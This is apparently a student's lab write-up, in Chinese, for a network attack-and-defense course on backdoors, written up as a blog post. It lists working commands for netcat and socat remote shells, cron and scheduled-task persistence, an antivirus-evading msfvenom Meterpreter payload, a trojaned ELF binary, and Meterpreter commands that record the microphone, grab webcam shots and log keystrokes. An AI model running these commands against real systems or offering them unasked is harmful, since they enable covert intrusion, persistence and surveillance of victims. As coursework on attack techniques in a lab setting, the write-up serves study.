20192428魏来 《网络与系统系统攻防技术》实验二 后门原理与实践

《网络与系统攻防技术》实验二 后门原理与实践

实践目标

  1. 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
  2. 使用socat获取主机操作Shell, 任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

实验内容

实践一:使用netcat获取主机操作Shell

该实践首先需要获取Windows系统的ip地址,然后在windows的powershell(或者cmd等shell中)使用ncat的监听模式,再连接到kali系统中即可。
首先获得主机IP:

  • 打开powershell,并输入ipconfig,查得ip地址为:172.16.211.25

接下来输入:

 ncat.exe -l -p 8888  # 开启监听模式,监听端口8888

打开Kali系统的终端,输入:

nc 172.16.211.25 8888 -e /bin/sh
# 把/bin/sh通过e参数绑定,并开启监听,那当我们使用远程主机连接到这台主机时,就相当于获得了一个shell

如下图,即可获取Kali的shell,输入命令可以正常运行:

因为实践要求我们使用cron去启动某项任务,上述实践中我们是直接在kali中使用ncat命令,接下来我们实现cron启动:

crontab -e  # 添加crontab任务区
Select an editor.  To change later, run 'select-editor'.
  1. /bin/nano        <---- easiest
  2. /usr/bin/vim.basic
  3. /usr/bin/vim.tiny

1  # 我选了1,选错了所以退出编辑器重新选一次
sudo select-editor
2  # 选2号编辑器
crontab -e
* * * * * /bin/netcat 172.16.211.25 8888 -e /bin/sh  # 讲这句话添加在末尾
:wq  # vim保存文件
crontab -l  # 查看我们植入的周期性进程

如下图为我们执行过程截图:


最终实现结果如下图,每分钟Windows系统都可接收到一条连接请求~

实践二:使用socat获取主机操作Shell

实践二中我本来也打算使用power shell运行,但发现power shell有一些问题,可能是参数原因,无法实现,因此在实验二中我使用cmd进行操作。

# 首先在cmd中找到socat文件夹下,输入下面的指令
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
# 把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout上

# 打开虚拟机终端,输入下面指令
socat - tcp:172.16.221.25
# 输入完成后,将会显示cmd的命令行

下图为实现截图:

同实践一一样,该实践要求我们结合Windows下的任务计划程序,实现获取主机shell的自动化,接下来我们的操作如下:
首先右键Windows,选择计算机管理,找到系统工具,选择里面的任务计划程序库,选择创建任务
名称我设定为自己的学号:20192428,触发器随便设置一个时间(设定一个迟于当前时间的时间,确保能触发),并设置为接下来每一分钟触发一次,期限为无限期(方便我们调试),在操作中,添加指令:

# 首先选择程序为我们的socat.exe
tcp-listen:8888 exec:cmd.exe,pty,stderr  # 这个添加在参数里面 添加完成后直接点确定即可

操作流程如下图:



完成后,可以在任务计划程序库中找到我们刚才创建的任务:

最后等待时间到达(其实也可以在任务计划程序库中直接执行我们所写的任务),系统打开我们的cmd,这时候再用虚拟机连接即可!
最终效果图展示如下,实践二正式完成!

实践三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

首先使用ifconfig指令,查询到虚拟机的IP地址为:192.168.202.134

msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.202.134 LPORT=8889 -f exe > lls_bd_test.exe
# lls_bd_test.exe 意思是来来的后门程序,这里加了几个参数,是看了万腾阳同学的博客后学习到的
# -e 使用的编码器,用于对shellcode变形,为了免杀。
# -i 编码器的迭代次数。如上即使用该编码器编码3次。
# -b badchar是payload中需要去除的字符。
# -f 生成文件的类型,即exe文件。

# 生成完后门程序后,在Windows下运行:
ncat.exe -l 8889 > lls_bd_test.exe
# 在虚拟机中运行:
nc 172.16.211.25 8889 < lls_bd_test.exe
# 运行完上述两条指令后,在Windows下,cmd的当前所处文件夹下就会有我们传输的文件

#确保有文件后,在虚拟机中执行:
msfconsole  # 打开msfconsole

use exploit/multi/handler  # 监听设置payload

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.202.134
set LPORT 8889
# 这三条消息需要确保和初始生成后门程序时一致

exploit  # 开始监听

# 运行shell命令验证即可

上述操作即为实践三的全部内容,下面展示我的操作过程:


最终获取Windows下的shell,如下图;

实践四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

首先该实验在实验三的基础之上进行:

# 获得录音权限,后面的数字代表时间,8s
record_mic -d 8

# 获得摄像头权限
webcam_snap

# 获取击键记录
keyscan_start
keyscan_dump

# 获取截屏权限
screenshot

# 查看当前用户
getuid

该实践较为简单,仅仅是使用MSF meterpreter中的一些功能
下面为实践过程:

实践五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

首先使用MSF生成shellcode:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.202.134 LPORT=8888 -x /home/kamanfuture/CTF/exp2/pwn1 -f elf >pwn1
# 生成shellcode注入代码,为pwn20192428

# 按照步骤三运行即可:
msfconsole  # 打开msfconsole

use exploit/multi/handler  # 监听设置payload

set payload linux/x86/meterpreter/reverse_tcp # 注意,这个地方换为linux环境下
set LHOST 192.168.202.134
set LPORT 8888
# 这三条消息需要确保和初始生成后门程序时一致

exploit  # 开始监听

接下来运行pwn20192428文件,即可获得shell的权限,下面展示我的实验过程:

image

实验中遇到的问题

问题一:powershell在部分实验中无法使用

最开始我想使用Windows下的power shell进行实验,但可能是最初下载power shell时没配置环境变量?中会出现一些小错误。
解决方法就是换成cmd,简洁方便,只是黑色背景看起来比较压抑。

问题二:MSF生成的pwn文件无权限运行

这个问题可能不是因为MSF而产生的,实践五中,在运行MSF后我发现我的pwn源文件也无权限运行了,所以我怀疑可能是MSF,也可能是下载pwn文件时导致,最终按照这个帖子:没错就是我,成功运行。

实践感想

感觉自己变成了一个很酷的黑客,又酷又帅的黑客~
本次实验让我对这门课程有了更深的了解,同时也让我有了更深的兴趣去尝试课程中所讲述的技术,同时我也希望今后能够学习到更接近目前我们所用的系统(Windows)的一些攻防技术,让我别再天天捣鼓我那个没有防火墙的虚拟机了~

posted @ 2022-04-01 11:57  岁岁敲代码  阅读(71)  评论(0编辑  收藏  举报